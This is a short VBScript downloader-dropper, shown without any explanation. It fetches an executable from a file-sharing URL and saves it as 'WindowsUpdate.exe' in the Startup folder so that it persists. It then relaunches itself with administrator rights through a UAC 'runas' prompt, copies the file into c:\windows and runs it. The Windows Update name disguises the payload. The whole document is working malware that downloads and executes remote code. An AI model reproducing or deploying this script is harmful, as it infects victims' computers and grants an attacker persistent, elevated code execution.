Set oXMLHTTP = CreateObject("MSXML2.XMLHTTP")
oXMLHTTP.Open "GET", "https://copy.com/ZrjXPRU6qIbx/WindowsUpdate.exe", 0
oXMLHTTP.Send
Set oADOStream = CreateObject("ADODB.Stream")
oADOStream.Mode = 3
oADOStream.Type = 1
oADOStream.Open
oADOStream.Write oXMLHTTP.responseBody
dim path, WshShell
Set WSHShell = WScript.CreateObject("WScript.Shell")
path = WSHShell.SpecialFolders("Startup")
oADOStream.SaveToFile path & "\WindowsUpdate.exe", 2
If WScript.Arguments.length =0 Then
Set objShell = CreateObject("Shell.Application")
objShell.ShellExecute "wscript.exe", Chr(34) & WScript.ScriptFullName & Chr(34) & " uac", "", "runas", 1
Else
Dim fso, MyFile
Set fso = CreateObject("Scripting.FileSystemObject")
Set MyFile = fso.GetFile(path & "\WindowsUpdate.exe")
MyFile.Copy ("c:\windows\WindowsUpdate.exe")
WshShell.Run "c:\windows\WindowsUpdate.exe", ,true
End If